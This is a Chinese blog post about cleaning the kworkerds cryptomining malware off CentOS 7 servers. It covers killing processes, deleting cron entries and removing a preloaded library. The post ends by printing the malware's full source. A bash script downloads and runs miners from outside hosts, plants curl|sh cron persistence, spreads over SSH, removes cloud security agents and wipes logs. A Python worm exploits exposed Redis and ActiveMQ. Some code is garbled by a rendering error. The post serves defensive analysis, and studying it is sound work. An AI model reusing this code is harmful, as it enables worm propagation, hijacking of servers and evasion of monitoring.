> CentOS > CentOS安全 >

centos7系统服务器 ---- kworkerds挖矿病毒排查过程

kworkerds挖矿病毒排查过程
 
2019年3月2日晚上,收到报警邮件,出现多台服务器cpu使用率超过百分之九十五现象。登录服务器查看,发现存在cpu使用率超高的进程kworkerds 的存在,不用多说,这个名字只要是接触过挖矿病毒的运维人员都知道,那么下面开始排查及清理。
 
中了此病毒的服务器有两种(目前发现)情况:
第一种,使用top命令可以直接查看到是哪个进程在消耗CPU资源;
第二种,使用top命令无法查看到进程cpu高消耗,原因是被隐藏了。
 
下面给出步骤及命令,注意,由于本文档我是在word上编写的,所以命令会有误差,建议通过手动输入的方式进行操作。
 
第一种情况的排查与清理:
命令top

 
 
上图中,总cpu使用率维持在99.0以上,LB则分别是36 36 36,在进程使用率那里也显示了三组进程高消耗的情况,那么首先将进程杀掉。
命令kill
Kill -9 17848 17322 16136
这个时候在使用top查看,cpu使用率应该会降下来了,但是过一会儿又会彪上去,这时候去看看其他地方,如:crontab。
命令crontab
crontab -l
 
上图显示异常任务,先别急着删除,因为就算这里删除,之后也会再次生成出来的,所以要尽量寻找根源文件,如何查找根源文件?简单啊,上图中不是已经给出方法了?你将|sh之前的命令运行一下,写入本地文件中,进去看一下不就知道了。
 
使用命令grep
grep curl /etc/cron.d/*
 
别急继续使用命令grep
grep curl /etc/cron.daily/*
 
grep curl /etc/cron.hourly/*
 
grep curl /etc/cron.monthly/*
 
继续使用命令ll、cat
Ll /var/spool/cron/*
grep curl /var/spool/cron/*
 
把上面这些查到的文件全部删除,如果出现文件锁,那么使用命令chattr
比如:chattr –i /etc/cron.d/root 进行解锁,然后使用rm –rf命令进行删除。
以上是第一种情况,下面是第二种情况
同样的使用top命令进行查看
Top
 
上图中,总cpu使用率维持在99.0以上,LB则分别是36 36 36,但在进程使用率那里并没有任何显示高消耗的进程,下面开始排查。
命令crontab
crontab -l


 
上图显示异常任务,先别急着删除,因为就算这里删除,之后也会再次生成出来的,所以要尽量寻找根源文件,方式方法与第一种一样。


使用命令grep
grep curl /etc/cron.d/*



 
别急继续使用命令grep
grep curl /etc/cron.daily/*



 
grep curl /etc/cron.hourly/*



 
grep curl /etc/cron.monthly/*



 
继续使用命令ll、cat
Ll /var/spool/cron/*
grep curl /var/spool/cron/*


 
把上面这些查到的文件全部删除,如果出现文件锁,那么使用命令chattr
比如:chattr –i /etc/cron.d/root 进行解锁,然后使用rm –rf命令进行删除。到这里基本上除了删除进程不同之外,其他步骤操作均与第一种情况一样,那么下面开始不一样的操作。
根据源码文件中显示,病毒文件还修改了/usr/local/lib/libntpd.so及/etc/ld.so.preload文件。
ls /usr/local/lib/
 
图中出现了libntpd.so(.bak那个忽略,那是我试验用的)
尝试用rm –rf删除,发现无法删除,文件被锁,需要使用chattr –i /usr/local/lib/libntpd.so命令进行解锁,然后删除。
使用命令top查看




 
好,进程消耗显示出来了。不用多说一顿kill,但是发现不管你使用什么命令都会出现报错
 
尝试使用echo “” > /etc/ld.so.preload
发现没用,还是会出现报错,那么直接删除呢?
 
哪怕是删除的命令,它也要报个错,好吧,那么我们继续使用命令看看效果。
 
OK,图中的报错是因为文件不存在所以提示的,而并非那个加载的问题,那么问题就到这里解决了?
不,并没有,继续后续的排查,比如自启服务,命令:chkconfig --list
 
netdns这是个什么玩意儿?百度一下。
使用find / -name netdns
 
查出来了两个文件,先别删除,万一删错了呢?先去看看这两个文件是个什么东西。
 
看看,这特么的还不让查呢,那么只能vim进去看看了。
 
还需要多说吗?一看就有问题,删除?不用,先不删除,这个文件不是有个守护文件吗,就是在Init.d里面的netdns这个文件,去研究研究这个文件。
 
先不管了,把它从自启服务中删除。
chkconfig --del netdns
 
 
grep -l “curl” /etc/cron.d/* |xargs chattr -i && grep -l “curl” /etc/cron.d/* |xargs rm –rf
grep -l “curl” /etc/cron.daily/* |xargs chattr -i && grep -l “curl”/etc/cron.daily/* |xargs rm –rf
grep -l “curl” /etc/cron.hourly/* |xargs chattr -i && grep -l “curl”/etc/cron.hourly/* |xargs rm –rf
grep -l “curl” /etc/cron.monthly/* |xargs chattr -i && grep -l “curl”/etc/cron.monthly/* |xargs rm –rf
grep -l “curl”/etc/cron.weekly/* |xargs chattr -i && grep -l “curl” /etc/cron.weekly/* |xargs rm –rf
 
grep -l “curl” /var/spool/cron/crontabs/* |xargs chattr -i && grep -l “curl” /var/spool/cron/crontabs/* |xargs rm –rf
grep -l “curl” /var/spool/cron/* |xargs chattr -i && grep -l “curl” /var/spool/cron/* |xargs rm –rf
 
操作完以上所有步骤命令后,持续观察发现,鬼东西还是会冒出来,咋办呢?查找这玩意儿的守护进程?可是这特么的咋找啊?目前我是没法子了,那么咱就反其道而行之,它不是要去https://pastebin.com/raw/1NtRkBc3这个东西去下载东西吗?那我把pastebin.com这个域名解析至127.0.0.1,我让你下载不到东西行不行?试试吧。
echo “127.0.0.1 pastebin.com” >> /etc/hosts
同时呢,这东西不是会在/tmp命令下生成kworkerds这个文件吗?行啊,我删除病毒文件,自己创建一个可执行文件,并且将文件锁死,同时在该文件里面写入上面的那几条grep命令。然后呢,使用history -c命令将所有命令记录删除,那么接下来继续观察。
OK经过一段时间的观察,发现并没有在出现异常。
 
 
查看这些被添加的文件或被修改的文件权限,都发现,一个规律那就是重要的文件都会被病毒文件使用chattr命令将文件锁住,那么为了加大被感染的难度,建议将chattr命令修改掉,这样可以使得病毒文件在一定程度上无法完成。
 
最后附上此次病毒文件的代码:
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
function b() {
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3020 /tmp/ddgs.3020 /tmp/wnTKYg /tmp/2t3ik
ps auxf|grep -v grep|grep “xmr” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “xig” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “ddgs” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “qW3xT” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “t00ls.ru” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “sustes” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “Xbash” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “cranbery” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “stratum” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “minerd” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “wnTKYg” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep “thisxxs” | awk ‘{print $2}’ | xargs kill -9
ps auxf|grep -v grep|grep “hashfish” | awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep /opt/yilu/mservice|awk ‘{print $2}’|xargs kill -9
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk ‘{print $2}’|xargs kill -9
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk ‘{print $2}’ | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk ‘{print $2}’ | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk ‘{print $2}’ | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk ‘{print $2}’ | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk ‘{print $2}’ | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk ‘{print $2}’ | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print KaTeX parse error: Expected 'EOF', got '}' at position 2: 2}̲' | xargs kill …(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
ps auxf|grep -v grep | awk ‘{if($3>=80.0) print $2}’| xargs kill -9
fi
}
 
function d() {
ARCH=(uname−i)if["(uname -i) if [ "(uname−i)if["ARCH" == “x86_64” ]; then
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/1/1551434761x2728329023.jpg -o /tmp/kworkerds||wget https://master.minerxmr.ru/1/1551434761x2728329023.jpg -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
nohup /tmp/kworkerds >/dev/null 2>&1 &
else
mkdir -p /var/tmp
chmod 1777 /var/tmp
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/2/1551434778x2728329023.jpg -o /var/tmp/kworkerds||wget https://master.minerxmr.ru/2/1551434778x2728329023.jpg -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
nohup /var/tmp/kworkerds >/dev/null 2>&1 &
fi
}
 
function e() {
nohup python -c “import base64;exec(base64.b64decode(‘I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2hRWlRGQWRDJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz’))” >/dev/null 2>&1 &
touch /tmp/.38t9guft0055d0565u444gtjr0
}
 
function c() {
chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/CnPtQ2tM -o /usr/local/bin/dns||wget https://pastebin.com/raw/CnPtQ2tM -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
echo -e “SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns” > /etc/crontab && touch -acmr /bin/sh /etc/crontab
echo -e “/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
echo -e "/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##” > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
echo -e “/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##” > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
mkdir -p /etc/cron.daily
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
mkdir -p /etc/cron.monthly
(curl -fsSL --connect-timeout 120 https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
mkdir -p /usr/local/lib/
if [ ! -f “/usr/local/lib/libntpd.so” ]; then
ARCH=(uname−i)if["(uname -i) if [ "(uname−i)if["ARCH" == “x86_64” ]; then
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/2 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
elif [ “$ARCH” == “i386” ]; then
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
else
(curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/One/22 -o /usr/local/lib/libntpd.so||wget https://master.minerxmr.ru/One/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
fi
fi
chattr -i /etc/ld.so.preload && echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE “\b([0-9]{1,3}.){3}[0-9]{1,3}\b” /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh’ & done
fi
touch -acmr /bin/sh /etc/cron.hourly/oanacroner
touch -acmr /bin/sh /etc/cron.daily/oanacroner
touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}
 
function a() {
if ps aux | grep -i ‘[a]liyun’; then
wget http://update.aegis.aliyun.com/download/uninstall.sh
chmod +x uninstall.sh
./uninstall.sh
wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
chmod +x quartz_uninstall.sh
./quartz_uninstall.sh
rm -f uninstall.sh quartz_uninstall.sh
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*;
elif ps aux | grep -i ‘[y]unjing’; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
touch /tmp/.a
}
 
mkdir -p /tmp
chmod 1777 /tmp
if [ ! -f “/tmp/.a” ]; then
a
fi
b
c
port=$(netstat -an | grep :56415 | wc -l)
if [ ${port} -eq 0 ];then
d
fi
if [ ! -f “/tmp/.38t9guft0055d0565u444gtjr0” ]; then
e
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
 
上面这是bash的脚本,下面在附上python脚本:
 
#! /usr/bin/env python
#coding: utf-8
 
import threading
import socket
from re import findall
import httplib
import os
 
IP_LIST = []
 
class scanner(threading.Thread):
tlist = []
maxthreads = 100
evnt = threading.Event()
lck = threading.Lock()
 
def __init__(self,host):
    threading.Thread.__init__(self)
    self.host = host
def run(self):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        s.connect_ex((self.host, 8161))
        s.send('google spider\r\n')
        results = s.recv(1)
        if str(results):
            data = "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##"
            data2 = "*/15 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##"
            conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
            conn.request(method='PUT', url='/fileserver/go.txt', body=data)
            conn.request(method='PUT', url='/fileserver/goa.txt', body=data2)
            conn.request(method='PUT', url='/fileserver/gob.txt', body=data2)
            result = conn.getresponse()
            conn.close()
            if result.status == 204:
                headers = {'Destination': 'file:///etc/cron.d/root'}
                headers2 = {'Destination': 'file:///var/spool/cron/root'}
                headers3 = {'Destination': 'file:///var/spool/cron/crontabs/root'}
                conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
                conn.request(method='MOVE', url='/fileserver/go.txt', headers=headers)
                conn.request(method='MOVE', url='/fileserver/goa.txt', headers=headers2)
                conn.request(method='MOVE', url='/fileserver/gob.txt', headers=headers3)
                conn.close()
        s.close()
    except Exception:
        pass
    try:
        s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s2.settimeout(2)
        x = s2.connect_ex((self.host, 6379))
        if x == 0:
            s2.send('config set stop-writes-on-bgsave-error no\r\n')
            s2.send('flushall\r\n')
            s2.send('config set dbfilename root\r\n')
            s2.send('set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\\n\\t"\r\n')
            s2.send('set NysX7D "\\t\\n*/15 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\\n\\t"\r\n')
            s2.send('config set dir /etc/cron.d\r\n')
            s2.send('save\r\n')
            s2.send('config set dir /var/spool/cron\r\n')
            s2.send('save\r\n')
            s2.send('config set dir /var/spool/cron/crontabs\r\n')
            s2.send('save\r\n')
            s2.send('flushall\r\n')
            s2.send('config set stop-writes-on-bgsave-error yes\r\n')
        s2.close()
    except Exception:
        pass
    scanner.lck.acquire()
    scanner.tlist.remove(self)
    if len(scanner.tlist) < scanner.maxthreads:
        scanner.evnt.set()
        scanner.evnt.clear()
    scanner.lck.release()
 
def newthread(host):
    scanner.lck.acquire()
    sc = scanner(host)
    scanner.tlist.append(sc)
    scanner.lck.release()
    sc.start()
 
newthread = staticmethod(newthread)
 
def get_ip_list():
try:
url = ‘ident.me’
conn = httplib.HTTPConnection(url, port=80, timeout=10)
conn.request(method=‘GET’, url=’/’, )
result = conn.getresponse()
ip1 = result.read()
ips1 = findall(r’\d+.\d+.’, ip1)[0]
for u in range(0, 256):
ip_list1 = (ips1 + (str(u)))
for g in range(1, 256):
IP_LIST.append(ip_list1 + ‘.’ + (str(g)))
except Exception:
ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk ‘{print $2}’|tr -d “addr:”").readline().rstrip()
ips2 = findall(r’\d+.\d+.’, ip2)[0]
for i in range(0, 255):
ip_list2 = (ips2 + (str(i)))
for g in range(1, 255):
IP_LIST.append(ip_list2 + ‘.’ + (str(g)))
pass
 
def runPortscan():
get_ip_list()
for host in IP_LIST:
scanner.lck.acquire()
if len(scanner.tlist) >= scanner.maxthreads:
scanner.lck.release()
scanner.evnt.wait()
else:
scanner.lck.release()
scanner.newthread(host)
for t in scanner.tlist:
t.join()
 
if name == “main”:
runPortscan()
 




 



(责任编辑:IT)